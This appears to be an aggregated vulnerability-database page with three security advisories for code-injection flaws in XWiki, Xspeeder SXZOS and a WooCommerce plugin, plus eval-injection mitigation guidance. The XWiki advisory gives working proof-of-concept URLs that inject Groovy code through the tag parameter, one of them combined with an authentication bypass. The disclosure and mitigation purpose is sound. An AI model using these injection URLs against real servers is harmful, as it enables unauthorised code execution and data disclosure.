  "details": "### Impact\nThe tags document `Main.Tags` in XWiki didn\u0027t sanitize user inputs properly, allowing users with view rights on the document (default in a public wiki or for authenticated users on private wikis) to execute arbitrary Groovy, Python and Velocity code with programming rights. This allows bypassing all rights checks and thus both modification and disclosure of all content stored in the XWiki installation. Also, this could be used to impact the availability of the wiki. Some versions of XWiki XML-escaped the tag (e.g., version 3.1) but this isn\u0027t a serious limitation as string literals can be delimited by `/` in Groovy and `\u003c` and `\u003e` aren\u0027t necessary, e.g., to elevate privileges of the current user.\n\nOn XWiki versions before 13.10.4 and 14.2, this can be combined with the [authentication bypass using the login action](https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-8h89-34w2-jpfm), meaning that no rights are required to perform the attack. The following URL demonstrates the attack: `\u003cserver\u003e/xwiki/bin/login/Main/Tags?xpage=view\u0026do=viewTag\u0026tag=%7B%7Basync+async%3D%22true%22+cached%3D%22false%22+context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22hello+from+groovy%21%22%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D`, where `\u003cserver\u003e` is the URL of the XWiki installations.\n\nOn current versions (e.g, 14.3), the issue can be exploited by requesting the URL `\u003cserver\u003e/xwiki/bin/view/Main/Tags?do=viewTag\u0026tag=%7B%7Basync%20async%3D%22true%22%20cached%3D%22false%22%20context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22hello%20from%20groovy!%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D`, where `\u003cserver\u003e` is the URL of the server. On XWiki 2.0 (that contains version 1.7 of the tag application), the URL `\u003cserver\u003e/xwiki/bin/view/Main/Tags?do=viewTag\u0026tag={{/html}}{{groovy}}println(%2Fhello from groovy!%2F){{%2Fgroovy}}` demonstrates the exploit while on XWiki 3.1 the following URL demonstrates the exploit: `\u003cserver\u003e/xwiki/bin/view/Main/Tags?do=viewTag\u0026tag={{/html}}{{footnote}}{{groovy}}println(%2Fhello%20from%20groovy!%2F){{%2Fgroovy}}{{/footnote}}`.\n\n### Patches\nThis has been patched in the supported versions 13.10.6 and 14.4.\n\n### Workarounds\nThe [patch that fixes the issue](https://github.com/xwiki/xwiki-platform/commit/604868033ebd191cf2d1e94db336f0c4d9096427) can be manually applied to the document `Main.Tags` or the updated version of that document can be imported from [version 14.4 of xwiki-platform-tag-ui](https://nexus.xwiki.org/nexus/content/groups/public/org/xwiki/platform/xwiki-platform-tag-ui/14.4/xwiki-platform-tag-ui-14.4.xar) using [the import feature in the administration UI](https://extensions.xwiki.org/xwiki/bin/view/Extension/Administration%20Application#HImport) on XWiki 10.9 and later (earlier versions might not be compatible with the current version of the document).\n\n### References\n* https://github.com/xwiki/xwiki-platform/commit/604868033ebd191cf2d1e94db336f0c4d9096427\n* https://jira.xwiki.org/browse/XWIKI-19747\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email us at [Security Mailing List](mailto:security@xwiki.org)\n",
  "id": "GHSA-2g5c-228j-p52x",
  "modified": "2022-09-16T17:21:25Z",
  "published": "2022-09-16T17:21:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-2g5c-228j-p52x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36100"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/604868033ebd191cf2d1e94db336f0c4d9096427"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xwiki/xwiki-platform"
    },
    {
      "type": "WEB",
      "url": "https://jira.xwiki.org/browse/XWIKI-19747"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "XWiki Platform Applications Tag and XWiki Platform Tag UI vulnerable to Eval Injection"
}

GHSA-2QM6-VPRH-VGFC

Vulnerability from github – Published: 2025-12-27 15:30 – Updated: 2025-12-27 15:30
VLAI
Details

Xspeeder SXZOS through 2025-12-26 allows root remote code execution via base64-encoded Python code in the chkid parameter to vLogin.py. The title and oIP parameters are also used.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-54322"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-27T14:15:49Z",
    "severity": "CRITICAL"
  },
  "details": "Xspeeder SXZOS through 2025-12-26 allows root remote code execution via base64-encoded Python code in the chkid parameter to vLogin.py. The title and oIP parameters are also used.",
  "id": "GHSA-2qm6-vprh-vgfc",
  "modified": "2025-12-27T15:30:17Z",
  "published": "2025-12-27T15:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54322"
    },
    {
      "type": "WEB",
      "url": "https://pwn.ai/blog/cve-2025-54322-zeroday-unauthenticated-root-rce-affecting-70-000-hosts"
    },
    {
      "type": "WEB",
      "url": "https://www.xspeeder.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2QPC-RPXQ-PHV6

Vulnerability from github – Published: 2026-03-24 00:30 – Updated: 2026-03-24 00:30
VLAI
Details

The Woocommerce Custom Product Addons Pro plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 5.4.1 via the custom pricing formula eval() in the process_custom_formula() function within includes/process/price.php. This is due to insufficient sanitization and validation of user-submitted field values before passing them to PHP's eval() function. The sanitize_values() method strips HTML tags but does not escape single quotes or prevent PHP code injection. This makes it possible for unauthenticated attackers to execute arbitrary code on the server by submitting a crafted value to a WCPA text field configured with custom pricing formula (pricingType: "custom" with {this.value}).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-4001"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-95"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-24T00:16:31Z",
    "severity": "CRITICAL"
  },
  "details": "The Woocommerce Custom Product Addons Pro plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 5.4.1 via the custom pricing formula eval() in the process_custom_formula() function within includes/process/price.php. This is due to insufficient sanitization and validation of user-submitted field values before passing them to PHP\u0027s eval() function. The sanitize_values() method strips HTML tags but does not escape single quotes or prevent PHP code injection. This makes it possible for unauthenticated attackers to execute arbitrary code on the server by submitting a crafted value to a WCPA text field configured with custom pricing formula (pricingType: \"custom\" with {this.value}).",
  "id": "GHSA-2qpc-rpxq-phv6",
  "modified": "2026-03-24T00:30:26Z",
  "published": "2026-03-24T00:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4001"
    },
    {
      "type": "WEB",
      "url": "https://acowebs.com/woo-custom-product-addons"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/70a2b6ff-defc-4722-9af9-3cae94e98632?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design Implementation

Strategy: Refactoring

If possible, refactor your code so that it does not need to use eval() at all.

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
Implementation
  • Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.
  • Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.